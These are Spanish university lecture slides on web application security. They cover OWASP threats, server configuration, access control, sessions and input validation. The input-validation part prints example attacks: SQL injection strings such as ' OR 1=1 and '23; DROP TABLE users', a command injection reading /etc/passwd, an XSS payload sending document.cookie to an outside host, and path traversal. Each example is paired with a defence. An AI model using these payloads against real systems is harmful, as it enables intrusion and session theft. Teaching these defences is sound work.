Seguridad aplicaciones web

Seguridad en Sistemas Informticos e Internet
Seguridad en las
Aplicaciones Web
LabIS2
http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos
Universidad de Sevilla
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Seguridad en Sistemas Informt
Contenido
Introduccin
Aplicaciones Web
Cunta seguridad es necesaria?
Amenazas ms importantes a las
aplicaciones web
Guas de seguridad
Seguridad
Seguridad
Seguridad
Seguridad
en
en
en
en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Contenido
Introduccin
Seguridad en el Cliente
Cdigo mvil
Lenguajes de Macro: VBA
Lenguajes de Script: JavaScript y VBScript
Applets Java
Controles ActiveX
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Contenido
Introduccin
Servidor Web
Servidor de Bases de Datos
Lenguajes de servidor
Contenido
Introduccin
Control de acceso
Validacin de datos de entrada
Programacin segura
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
SSL
Programacin
Teora
Prctica
Viernes 7
Introduccin
Seguridad en el cliente
1. Cdigo mvil
Jueves 20
Seguridad en el servidor
Seguridad en la aplicacin:
control de acceso
2. Autentificacin bsica HTTP
Viernes 21
control de acceso
3. Control de acceso
Jueves 4
validacin de datos de entrada
4. Validacin de datos
Viernes 5
programacin segura
Seguridad en la comunicacin
5. SSL en Apache
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Introduccin
Aplicaciones Web
Cunta seguridad es
necesaria?
Amenazas ms importantes a
las aplicaciones web
Guas de seguridad
10
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el

protocolo HTTP para interactuar con los
usuarios u otros sistemas
El cliente utilizado por los usuarios es
habitualmente un navegador
Los problemas de seguridad pueden provenir
de los programas web en los que se apoyan,
aunque en su mayor parte son consecuencia
de fallos en la lgica y el diseo de la propia
aplicacin
11
Introduccin
Cunta seguridad es
necesaria?
La seguridad supone un coste econmico y

de eficiencia. Hay que disponer de la
adecuada, ni ms ni menos
Para ello hay que tener en cuenta tres
reglas:
El riesgo cero no es prctico
Hay diversas formas de mitigar el riesgo
No se puede gastar un milln para proteger

un cntimo
12
Introduccin
Amenazas ms importantes:
Top 10
The Open Web Application Security Project

(OWASP)
The Ten Most Critical Web Application Security
Vulnerabilities
www.owasp.org/documentation/topten
13
Introduccin
Top Ten de amenazas

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Entrada no validada
Control de acceso roto
Administracin de sesin y autentificacin rota
Fallos de Cross Site Scripting (XSS)
Desbordamiento del buffer
Fallos de inyeccin
Manejo inadecuado de errores
Almacenamiento inseguro
Negacin de servicio
Administracin de configuracin insegura
14
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios

de alto nivel al disear aplicaciones web:
Validar la entrada y la salida
Fallar con seguridad
Mantener un esquema de seguridad simple
Utilizar componentes de confianza
La seguridad a travs de la oscuridad no

funciona
Mantener los privilegios al mnimo y separados
15
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
16
Cdigo mvil
JavaScript
VBScript
Applets Java
Controles ActiveX
17
Cdigo mvil
Cdigo que circula por la red y se ejecuta en

una mquina remota
Aparece incrustado en un documento HTML.
Un cliente de correo o un navegador que
carguen el documento lo ejecutarn en la
mquina cliente
Potencia la funcionalidad de los documentos
HTML pero entraa riesgos de seguridad. Un
cdigo mvil puede obtener informacin
acerca de un sistema o un usuario y enviarla
a una mquina remota
18
Cdigo mvil
Puede estar incrustado directamente en el

documento, caso de los lenguajes de script
como JavaScript y VBScript
Tambin puede residir en un servidor y ser
invocado mediante una referencia en el
documento, caso de las applets de Java o los
controles ActiveX
El cdigo ActiveX suele permanecer en el
sistema una vez que se instala, mientras que
las applets de Java se ejecutan una sla vez
y no se almacenan en la mquina del usuario
19
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil:
Lenguajes de macro como Visual Basic for

Applications (VBA)
Scripts como JavaScript y VBScript
Applets de Java
Controles ActiveX
Un mtodo de proteccin comn es tener
siempre actualizado el software
20
Es un lenguaje de macro propio de Microsoft

Office, aunque otras aplicaciones lo han
adoptado
Permite el acceso a todas las funciones de la
aplicacin, incluyendo el acceso a disco
La macro est incrustada en el documento
21
Las versiones previas a Office 97 ejecutaban

las macros al abrir los documentos sin pedir
autorizacin al usuario. Una macro poda
contener un virus y causar grandes perjuicios
Al ejecutarse podra copiarse en la plantilla
normal, con lo que aparecera en cualquier
documento creado con la aplicacin y se
expandira al compartirse los documentos
Ejemplo: Melissa (1999), creado con VBA en
un documento Word. Se reenviaba a los
primeros 50 contactos de Outlook
22
Para protegerse de los virus de macro hay

que tener mucha precaucin al permitir la
ejecucin de macros en un documento. Slo
debe hacerse cuando la fuente de
procedencia del documento sea fiable
23
JavaScript
Fue diseado para aadir interactividad a

una pgina web
Un cdigo JavaScript tiene acceso
nicamente a la informacin contenida en la
pgina en la que est incrustado
Es bastante seguro. Algunos problemas del
pasado han estado relacionados con
implementaciones de JavaScript por parte de
Microsoft y Netscape. La madurez de la
tecnologa ha permitido solucionarlos
24
JavaScript
El nico problema serio est relacionado con los

servicios de correo Web
Si se recibe un correo con un cdigo malicioso, al
visualizarlo podra hacer cosas como leer los
mensajes del usuario, enviar mensajes en su
nombre, leer una cookie o abrir una falsa ventana
de identificacin para pedir al usuario la
confirmacin de su password. Podra usar marcos
para continuar ejecutndose mientras visualizamos
otros mensajes o realizamos otras tareas
Apareci por primera vez en Hotmail y provoc que
los servicios de correo web decidieran neutralizar
el cdigo JavaScript de los mensajes recibidos
25
JavaScript
Otra fuente de problemas es la posibilidad que

ofrece de comunicarse con los plug-ins del
navegador (p. Ej. Shockwave player). Si el plug-in
tiene acceso a disco, JavaScript tambin lo tiene
La mejor proteccin es tener el software
actualizado. Si se utiliza un servicio de correo web
hay que verificar que tiene activados filtros contra
el cdigo JavaScript. Tambin se puede deshabilitar
JavaScript o pedir confirmacin cuando se intente
ejecutar cdigo JavaScript, aunque puede resultar
muy pesado
Netscape permite deshabilitar JavaScript de forma
independiente para navegador y lector de correo
26
VBScript
Slo funciona con Internet Explorer y Outlook,

por lo que no es tan popular como JavaScript
Ofrece una funcionalidad similar pero con una
notable excepcin: puede interactuar con los
controles ActiveX instalados en la mquina
sta es la principal fuente de problemas, ya
que carece de operaciones potencialmente
peligrosas
Los controles ActiveX pueden ser marcados
como safe o unsafe for scripting de forma que
se impida a los scripts acceder a ellos
27
Applets Java
Normalmente no pueden leer ni escribir datos en el

disco local ni comunicarse con otro recurso de la red
salvo el servidor del que procede, lo cual garantiza
que no tendrn comportamiento malicioso
Excepcin: pueden crear hilos que se ejecutan en
segundo plano. Estos hilos pueden seguir en
ejecucin aunque se cierre el navegador y pueden
tener un efecto poco pernicioso, como reproducir
msica de fondo. La nica forma de pararlos es
cerrar todas las ventanas del navegador
Efecto ms negativo: el applet crea hilos que
consumen mucha memoria y/o CPU haciendo ms
lento el sistema y llegando incluso a colapsarlo
28
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java

Slo funcionan bsicamente con Internet Explorer
y Outlook
La seguridad de los controles ActiveX se basa en
los certificados digitales. Los controles estn
firmados digitalmente para garantizar su
autenticidad
Al cargar el control IE presenta el certificado
digital y pide autorizacin para instalarlo. Pueden
existir controles sin firma, aunque sern
directamente rechazados por IE si est
configurado correctamente
29
30
Controles ActiveX
El problema se da cuando un control est mal

construido, proporcionando agujeros de seguridad
a los atacantes
Un problema habitual en algunos controles es el
buffer overrun, padecido por ejemplo por el
control de Adobe Acrobat Reader 4.0 y que
permite la ejecucin de cdigo arbitrario en la
mquina del usuario
Cuando se construye un control ActiveX que
puede realizar tareas potencialmente peligrosas
(como leer o escribir en disco) hay que tener la
precaucin de marcarlo como unsafe for scripting
para que no pueda ser llamado desde VBScript
31
Prctica 1: Cdigo mvil
Creacin de un formulario
Validacin de datos con JavaScript
Formas de saltarse la validacin JavaScript
32
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
33
Servidor Web
34
El desarrollo de una aplicacin web requiere

de una serie de herramientas: servidores
web, servidores de aplicaciones, servidores de
bases de datos, lenguajes de servidor, etc.
Estas herramientas pueden plantear
problemas que comprometan a la aplicacin:
Vulnerabilidades debidas al uso de versiones

no actualizadas
Configuraciones por defecto inadecuadas
Activacin de cuentas por defecto

Las herramientas deben estar actualizadas y
bien configuradas para impedir ataques a la
aplicacin
35
Servidor Web
Proporciona muchos servicios y es muy

probable que algunos de ellos no sean
necesarios para el funcionamiento de la
aplicacin web
En tal caso es conveniente deshabilitarlos
Para ello el servidor dispone de mltiples
opciones de configuracin que es
conveniente adaptar a las circunstancias
concretas de la aplicacin web
36
Servidor Web
Precauciones a tener en cuenta:
Establecer permisos adecuados para los

ficheros del servidor y los documentos. Es
conveniente definir un usuario y grupo
especiales (web, www)
Listado automtico de directorios. Puede ser

conveniente pero proporciona informacin
sensible
Seguimiento de enlaces simblicos.

Peligroso si se enlazan ficheros externos al
rbol de documentos
37
Servidor Web
Precauciones a tener en cuenta (cont):
Ejecucin de CGI. Slo debe permitirse a

usuarios de confianza y restringirlo a un
directorio especial
Server side includes (SSI). Es una fuente de

peligro y puede tener que ser restringido a
usuarios de confianza o deshabilitado (en
particular la opcin exec). Ejemplo:
... cdigo HTML

... cdigo HTML
38
Servidor Web
Ejercicio: Configuracin de Apache
39
Servidor Web
Es muy conveniente revisar peridicamente

los ficheros de log (access_log y error_log en
Apache) para detectar posibles ataques al
servidor
40
Servidor Web
Ejercicio: Ficheros de log en Apache
41
Proporciona acceso a bases de datos,

fundamental en toda aplicacin web importante.
Riesgos:
Descubrimiento de informacin acerca de los

datos de conexin al servidor (usuario y clave),
informacin sensible almacenada en la base de
datos (tarjetas de crdito) o informacin sobre
la estructura de la base de datos
Modificacin de las instrucciones SQL enviadas al

servidor, construidas de forma dinmica a partir
de datos recibidos del usuario y por tanto
potencialmente peligrosos (Inyeccin SQL)
Acceso no autorizado a informacin restringida
42
Hay que vigilar la configuracin por defecto del

servidor, que puede incluir bases de datos y
usuarios predefinidos que conviene eliminar
Algunas recomendaciones:
No ejecutar el servidor como root

No dar a ningn usuario salvo al root permiso
de acceso a la tabla de usuarios
Asegurarse de que el root tiene un password
Restringir el acceso remoto al servidor
No dar a un usuario ms permisos que los
estrictamente necesarios
Almacenar los datos sensibles de forma
encriptada
43
En el cdigo de la aplicacin hay que tener,

entre otras, las siguientes precauciones:
Validar las instrucciones SQL antes de

enviarlas al servidor
No revelar informacin sobre la base de

datos en los mensajes de error (esquema,
naturaleza de los datos almacenados,
fragmentos SQL)
Proteger el cdigo donde aparezca

informacin sensible para el acceso al
servidor
44
Ejercicio: Configuracin de MySQL
45
ASP, JSP, PHP

Aumentan enormemente la potencia de los
documentos HTML al permitir la comunicacin
con aplicaciones residentes en el servidor, y
muy especialmente con servidores de bases
de datos
Esta potencialidad conlleva riesgos. Hay que
revisar a fondo la configuracin para eliminar
funcionalidades no utilizadas y seguir
prcticas adecuadas de programacin, sobre
todo en funciones con vulnerabilidades
conocidas
46
Hay que proteger el cdigo fuente para

evitar que pueda ser visualizado,
especialmente cuando contiene informacin
sensible como pueden ser los datos de
conexin al servidor de bases de datos
Una medida razonable consiste en sacar el
cdigo fuente sensible fuera de la raz de la
web
47
Ejercicio: Errores en cdigo PHP
48
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
49
Control de acceso
Programacin segura
50
Control de acceso
Un aspecto muy importante de una

aplicacin web es el control de acceso de los
usuarios a zonas restringidas de la aplicacin
Aqu intervienen dos conceptos:
Autentificacin
Autorizacin
51
Autentificacin
Es el proceso de determinar si un usuario es

quien dice ser
Esto se puede hacer de varias maneras.
Algunas de ellas son:
Autentificacin HTTP bsica
Autentificacin basada en la aplicacin
52
Cuando se requiere una URI protegida, el

servidor web devuelve un cdigo HTTP/1.1
401 Authorization required, indicando al
cliente que muestre una ventana de dilogo
con un nombre de usuario y una contrasea
Cuando se pulsa el botn de envo estos
datos llegan al servidor que comprueba si
son correctos y en caso afirmativo sirve el
recurso solicitado
53
54
Ventajas:
Es muy simple de implementar

Se pueden fijar restricciones de acceso por
usuario y contrasea o por otros conceptos
como por ejemplo el dominio o direccin IP de
la mquina
Inconvenientes:
Los datos viajan por la red sin encriptar

No se puede hacer logout, la nica forma es
cerrar el navegador
No hay control sobre el diseo de la ventana de
dilogo
55
Ejercicio: proteccin de un directorio del servidor
56
Prctica 2: Autentificacin
HTTP bsica
Creacin de una pgina web

Creacin de un usuario
Creacin de un fichero .htaccess
Configuracin del servidor web Apache
57
Autentificacin basada en la
aplicacin
La propia aplicacin puede implementar un

mecanismo de autentificacin que implica la
presentacin de un formulario para que el
usuario introduzca sus credenciales y el uso
de una base de datos para verificar la
correccin de stas
Es ms costosa pero ms flexible ya que
permite establecer diferentes permisos y
niveles de acceso en funcin del usuario que
solicita la autentificacin
58
59
Passwords
Siempre que se utilizan passwords para autentificar

usuarios hay que seguir unas recomendaciones:
Restringir los valores para los nombres de usuarios.

Los que representan nombres reales suponen dar
pistas a los atacantes
Almacenar los passwords de forma segura,

protegiendo el acceso a la base de datos
Seguir reglas de seguridad para su eleccin
Bloquear una cuenta cuando se detecta un nmero

determinado de intentos de acceso incorrectos
Actualizar los passwords peridicamente y

mantener un histrico para evitar repeticiones
60
Passwords
Cualquier sistema que requiera

autentificacin debe tener una poltica de
recuperacin de passwords en caso de
olvido del usuario
Esto se puede hacer de dos formas:
Automticamente
A travs de tcnicos de soporte
61
Passwords
En el caso automtico hay varias estrategias:
Plantear durante el registro del usuario varias

preguntas a las que slo l puede responder
Enviar el password por correo electrnico. Es

recomendable que tenga fecha de expiracin y
se pida su cambio cuando el usuario se
conecte
Comunicar el password por telfono al usuario

a requerimiento del mismo
Deben registrarse todos los intentos de
recuperacin y fijar un lmite de tiempo pasado
el cual sera preciso recurrir al tcnico
62
63
Passwords
En el caso del tcnico hay que prever el

servicio a personas de diferentes pases con
lenguas diferentes
La intervencin humana da mayor seguridad,
pero es ms costosa y ms molesta para el
usuario
Una alternativa a la presencia fsica puede
ser el uso del fax para enviar la
documentacin que certifique la identidad
del usuario
64
Sesiones
Una vez que el usuario se ha autentificado

introduciendo su nombre de usuario y su
clave, es preciso mantener esta
autentificacin en cada conexin
subsiguiente
Para evitar tener que mostrar nuevamente la
ventana de autentificacin se recurre
habitualmente al uso de sesiones, un
mecanismo que permite mantener el estado
entre diferentes peticiones HTTP
65
Sesiones
El mecanismo es el siguiente:
Una vez autentificado, al usuario se le asigna un

identificador de sesin
Este identificador acompaar invisiblemente a

cada peticin del usuario, con lo cual se
garantizar que la peticin proviene de un
usuario previamente autentificado
El identificador de sesin se suele almacenar en

la propia mquina del cliente, mediante una
cookie
Slo se debe almacenar el identificador de la

sesin; cualquier otro dato del usuario se
almacenar en el servidor
66
Sesiones
La gestin de las sesiones es

responsabilidad del programador. Normalmente
los lenguajes de servidor disponen de
funciones diseadas especficamente para ello
En PHP se dispone de las siguientes funciones:
session_start
session_register
session_is_registered
session_unregister
session_destroy
67
Sesiones
Un buen sistema de gestin de sesiones debe:
Establecer un tiempo lmite de vida para la

sesin
Regenerar el identificador de sesin cada cierto

tiempo
Detectar intentos de ataque de fuerza bruta con

identificadores de sesin
Requerir una nueva autentificacin del usuario

cuando vaya a realizar una operacin importante
Proteger los identificadores de sesin durante su

transmisin
Destruir la cookie al finalizar la sesin para evitar

el acceso de otro usuario en un entorno pblico
68
Sesiones
Ejercicio: sesiones en PHP
69
Autorizacin
Es el acto de comprobar si un usuario tiene el

permiso adecuado para acceder a un cierto
fichero o realizar una determinada accin,
una vez que ha sido autentificado
70
Autorizacin
Disear el mecanismo de control de acceso exige:
Determinar la informacin que ser accesible por

cada usuario
Determinar el nivel de acceso de cada usuario a la

informacin
Especificar un mecanismo para otorgar y revocar

permisos a los usuarios
Proporcionar funciones a los usuarios autorizados:

identificacin, desconexin, peticin de ayuda,
consulta y modificacin de informacin personal,
cambio de password, etc.
Ajustar los niveles de acceso a la informacin a la

poltica de seguridad de la organizacin
71
Autorizacin
Modelos para el control de acceso:
Control de Acceso Discrecional: se basa en la

identidad de los usuarios o su pertenencia a
ciertos grupos. El propietario de una informacin
puede cambiar sus permisos a su discrecin
Control de Acceso Obligatorio: cada pieza de

informacin tiene un nivel de seguridad y cada
usuario un nivel de acceso, lo cual permite
determinar los permisos de acceso de cada
usuario a cada pieza de informacin
Control de Acceso Basado en Roles: cada

usuario tiene un rol dentro de la organizacin y
en funcin de l unos permisos de acceso
72
Autorizacin
Para la implementacin del mecanismo de

control de acceso en la aplicacin suele
recurrirse al uso de bases de datos
73
Prctica 3: Control de acceso
Disear un mecanismo de control de acceso

Definir usuarios
Especificar nivel de acceso de los usuarios
74
El problema ms frecuente que presentan las

aplicaciones web es no validar correctamente
los datos de entrada
Esto da lugar a algunas de las vulnerabilidades
ms importantes de las aplicaciones, como la
Inyeccin SQL, el Cross-Site Scripting y el Buffer
Overflow
Veamos los siguientes aspectos:
Fuentes de entrada
Inyeccin
Estrategias de proteccin
Vulnerabilidades especficas
75
Fuentes de entrada
Los datos de entrada pueden provenir de

cuatro fuentes diferentes:
Cadenas URL
Cookies
Cabeceras HTTP
Campos de formularios
76
Fuentes de entrada cadenas
URL
Cuando se enva un formulario con el mtodo

GET, los nombres y valores de todos los
elementos del formulario aparecen detrs de
la URL de la pgina invocada:
http://www.victim.com/example?accountnumber=12345
Es muy fcil modificar esta cadena:

http://www.victim.com/example?accountnumber=67891
77
Fuentes de entrada cadenas
URL
La aplicacin debe chequear el valor recibido

aunque proceda de una lista desplegable
con unos valores predefinidos, ya que el usuario
ha podido modificar manualmente la URL
Este problema se da tambin en los
hipervnculos que incluyen parmetros
Siempre que se enven datos sensibles hay que
acompaarlos de un identificador de sesin y
comprobar que el usuario asociado a la sesin
tiene acceso a la informacin requerida
78
Fuentes de entrada - cookies
Es un mtodo habitual de mantener el estado o

almacenar preferencias del usuario.
Pueden ser modificadas por el cliente para
engaar al servidor. El peligro depender de lo que
se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
puede ser modificada fcilmente por:

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie nicamente

el identificador de sesin, manteniendo la
informacin relevante en el servidor
79
Fuentes de entrada cabeceras
Las cabeceras HTTP contienen informacin

de control enviadas entre el cliente y el
servidor. Por ejemplo,
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
80
Fuentes de entrada - cabeceras
Si la aplicacin web utiliza las cabeceras

recibidas del cliente, hay que tener en cuenta
que stas pueden haber sido manipuladas, por
lo que deben ser verificadas
Por ejemplo, sea la siguiente cabecera:
Accept-Language: es
Si el contenido de la cabecera se utiliza

directamente en una consulta a la base de
datos, podra utilizarse para inyectar rdenes
SQL modificando la cabecera
81
Fuentes de entrada - formularios
Los formularios pueden ser modificados para

enviar lo que el usuario desee. Basta con guardar
la pgina, modificar el cdigo y recargarlo en el
navegador. Las limitaciones impuestas en el
propio formulario se pueden saltar
perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">
Este elemento podra modificarse as:

<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el

valor no se chequea adecuadamente
82
Fuentes de entrada formularios
Los campos ocultos (HIDDEN) tambin son

vulnerables a este ataque, por lo que no deben
utilizarse para almacenar informacin sensible
Es mucho ms seguro utilizar sesiones y
almacenar la informacin sensible en el
servidor
Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N">
<input name="price" type="hidden" value="199.99">
83
Fuentes de entrada - formularios
Ejercicio: validacin de datos de formularios con

la herramienta WebGoat
Descarga e instalacin de WebGoat

Ejercicio: hidden field tampering
Ejercicio: unchecked email
Ejercicio: JavaScript validation
84
Inyeccin
Consiste en inyectar en la aplicacin datos

introducidos por el usuario. Esto es muy
habitual y de por s no es peligroso
85
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:

sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artculo de inters para el

usuario se convierte en:
sql= "SELECT * FROM noticias WHERE id = 228";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:

print "<H2>Bienvenido/a, Antonio.</H2>";
86
Conectores y payload
Idea: suministrar datos que al ser inyectados en

la aplicacin causen un efecto particular
El ataque est completamente contenido en los
datos suministrados por el atacante, que se
pueden dividir en tres partes:
Conector de prefijo
Payload
Conector de sufijo
El ataque est contenido en el payload y los
conectores lo encajan en la aplicacin
Para elegirlos es preciso un amplio
conocimiento del lenguaje, las herramientas y
las tcnicas utilizadas en la aplicacin
87
Ejemplo: consulta SQL para una interfaz de

identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login =
'$userLogin' AND password = '$userPassword';
Si inyectamos un ataque en el campo

userLogin con los siguientes componentes:
prefijo
payload
sufijo
OR
1=1
OR login=
88
obtendremos la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR 1=1
OR login ='' AND password = ''
que nos devolver todos los usuarios de la

tabla
89
Con un mayor conocimiento podemos

modificar el ataque para reducir el nmero de
caracteres empleados, que podra estar
limitado. Por ejemplo, el ataque
prefijo
payload
OR
1=1
sufijo
producira la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR
'1'='1' AND password = ''
90
La eleccin de los conectores puede verse

facilitada por factores como acceso al cdigo
fuente o mensajes de error detallados
Ms importante que esto es el hecho de
utilizar tcnicas de programacin conocidas
en el desarrollo de las aplicaciones
91
Existen tres modelos posibles a la hora de

disear una estrategia de validacin de
datos:
Aceptar nicamente datos vlidos conocidos
Rechazar datos no vlidos conocidos
Sanear todos los datos
92
Aceptar nicamente datos vlidos

conocidos. Es la estrategia ms adecuada.
Slo deben aceptarse aquellos datos que se
adaptan a lo esperado. Por ejemplo, si un
password debe contener letras de la A a la Z
y dgitos del 0 al 9, debe verificarse que la
entrada es una cadena, que slo contiene
esos caracteres y que tiene una longitud
vlida
93
Aceptar nicamente datos vlidos conocidos.

En general hay que chequear lo siguiente:
Tipo de dato
Longitud mxima y mnima
Datos obligatorios
Si hay una lista enumerada de posibles valores,
comprobar que est en ella
Si hay un formato o plantilla especfico, comprobar que lo
cumple
Si es texto libre, que slo contiene caracteres vlidos
Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero

tambin teniendo en cuenta que pueden unirse
para formar, por ejemplo, una consulta SQL
94
Rechazar datos no vlidos conocidos.

Implica conocer todos los posibles datos
peligrosos, lo cual es muy difcil
Sanear todos los datos. Consiste en
transformar los datos en una representacin
que no presente riesgos. Por ejemplo,
transformar (una comilla simple) en (dos
comillas simples) o < en <. Es buena
como complemento a la primera estrategia
aunque no tanto para utilizarse sla porque
es difcil sanear todos los datos
95
Nunca debe confiarse en la validacin de datos en el

cliente ya que puede puentearse con facilidad. Toda
la validacin de datos debe realizarse en el servidor
Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el

usuario puede introducir
El atributo READONLY evitar que el usuario pueda
modificar un valor
Los campos de tipo HIDDEN no se pueden modificar
Las cookies no se pueden modificar
Las listas desplegables o botones de radio limitan los
valores de entrada
Todos los campos del formulario sern enviados
Slo los campos del formulario sern enviados
96
Prctica 4: Validacin de datos
Validacin de datos en el servidor

Creacin de un formulario en PHP con
validacin de los datos de entrada
Uso de expresiones regulares para validar los
datos de entrada
97
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas

que resultan de una falta de proteccin
adecuada ante los datos de entrada son:
Inyeccin SQL
Inyeccin de rdenes del SO
Inyeccin HTML (Cross-site Scripting o XSS)
Path Traversal
Buffer Overflow
98
Inyeccin SQL
Consiste en inyectar un mandato dentro de una

consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE codigo =
$codigo;
siendo $codigo un valor introducido desde un

formulario. Si el valor es 23 la consulta ser:
SELECT titulo FROM libros WHERE codigo = 23
Si el valor es
23; DROP TABLE users
la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP

TABLE users
que destruira la tabla de usuarios de MySQL
99
Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual

en una aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE username
= $username AND password = $password;
Si se introducen los valores juan como username

y jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan AND
password = jj.ssii
100
Inyeccin SQL
Se puede saltar la comprobacin del password

introduciendo el valor juan-- como username o
el valor OR = como password. Las consultas
que quedaran en ambos casos son,
respectivamente:
SELECT id FROM usuarios WHERE username = juan--
AND password =
SELECT id FROM usuarios WHERE username = juan AND
password = OR =
En el primer caso ntese que -- es un

comentario de lnea en MySQL y provoca que
se ignore todo lo que viene tras l en la lnea
101
Inyeccin SQL
La inyeccin SQL puede utilizarse para:
Cambiar valores de las consultas
Concatenar varias consultas
Aadir llamadas a funcin y procedimientos

almacenados a una consulta
Para evitar la inyeccin SQL es muy
importante validar los valores que se han
de integrar en la consulta SQL. En el
primer caso, por ejemplo, $codigo debe ser un
valor entero
102
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde

un formulario
103
Casi todos los lenguajes de programacin

disponen de funciones que permiten la
ejecucin de rdenes del Sistema Operativo
En PHP, por ejemplo, se tienen las funciones
exec() y system(). Estas funciones son tiles
para tareas como el manejo de ficheros o el
envo de correo, pero plantean serios riesgos
ya que se pueden manipular para:
Alterar las rdenes ejecutadas
Alterar los parmetros pasados a las rdenes

del sistema
Ejecutar rdenes adicionales
104
Sea, por ejemplo, el siguiente cdigo PHP:

system (ls $directorio);
Si el valor de la variable $directorio fuese

/tmp; cat /etc/passwd, se mostrara el fichero
de passwords del sistema ya que se
ejecutara la orden
ls /tmp; cat /etc/passwd
105
Una solucin a este problema es utilizar la

funcin escapeshellarg(), que coloca unas
comillas englobando al parmetro y elimina
las que pudiera haber dentro del mismo:
system (ls . escapeshellarg($directorio));
De esta manera, la orden que se ejecutara

ahora sera
ls /tmp; cat /etc/passwd
106
La mejor proteccin contra este ataque es

limitar toda informacin pasada a las rdenes
del sistema nicamente a valores conocidos
Si estos valores no pueden ser enumerados, la
alternativa es limitar el tamao al mnimo
valor posible y sanear los caracteres que
pudieran utilizarse para ejecutar otras
rdenes
Tambin, y en la medida de lo posible, deben
utilizarse las funciones de biblioteca en lugar
de invocar rdenes del SO
107
Ejercicio: inyeccin de una orden del

sistema operativo desde un formulario
108
Inyeccin HTML (Cross-site Scripting)
Consiste en insertar en un texto (p.ej. un mensaje de

un foro) cdigo malicioso (p.ej. JavaScript). Cuando
otro usuario visualice el texto el cdigo se ejecutar
en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en

una ventana. Esto no es grave ya que cada usuario
visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http:
//targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del

atacante, que podra hacerse con la sesin
109
Inyeccin HTML (Cross-site
Scripting)
Hay varios tipos de cosas que se pueden

insertar en el cdigo HTML de esta manera:
Marcas HTML, como <SCRIPT>, <A>,

<IMG> o <IFRAME>. El efecto se produce
cuando el texto se visualiza en el navegador
de otro usuario
Eventos, como ONCLICK, asociados

habitualmente a elementos de formulario
110
Inyeccin HTML (Cross-site
Scripting)
Para evitar este ataque es conveniente filtrar

todos los caracteres que tienen un
significado especial en HTML como , &, < y
>. Los lenguajes disponen de funciones
especficas para ello. En PHP existe la funcin
htmlspecialchars()
111
Ejemplo: el siguiente cdigo muestra el campo

mensaje de un registro recuperado de una tabla
print <TD>;
print $fila[mensaje];
print </TD>;
Si el mensaje contiene caracteres HTML puede ser

peligroso. Para solucionarlo se modifica el cdigo:
print <TD>;
print htmlspecialchars($fila[mensaje]);
print </TD>;
112
Esta solucin no siempre es vlida. En el cdigo

//llamada: pag.php?imagen=javascript:alert(document.cookie);
print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>;
// resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute

el cdigo malicioso. La nica solucin es aceptar
siempre datos garantizados como buenos. En este
caso, slo se debe aceptar un parmetro que
corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i',
$_GET[imagen]))
print <IMG SRC= . $_GET[imagen] . >;
113
Ejercicio: almacenamiento de un script en el

servidor y posterior visualizacin del mismo
114
Path Traversal
Una aplicacin es vulnerable a este tipo de

ataques cuando el atacante puede construir
peticiones que le permiten acceder a ficheros
localizados fuera de la raz de la Web, como
por ejemplo /etc/passwd
Para ello utiliza caracteres como ../ en los
parmetros que representan nombres de
fichero. Si el atacante accede a directorios
del sistema, podra llegar incluso a ejecutar
mandatos del sistema
115
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:

include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor

../etc/passwd, se mostrara el fichero de
passwords del sistema
116
Path Traversal
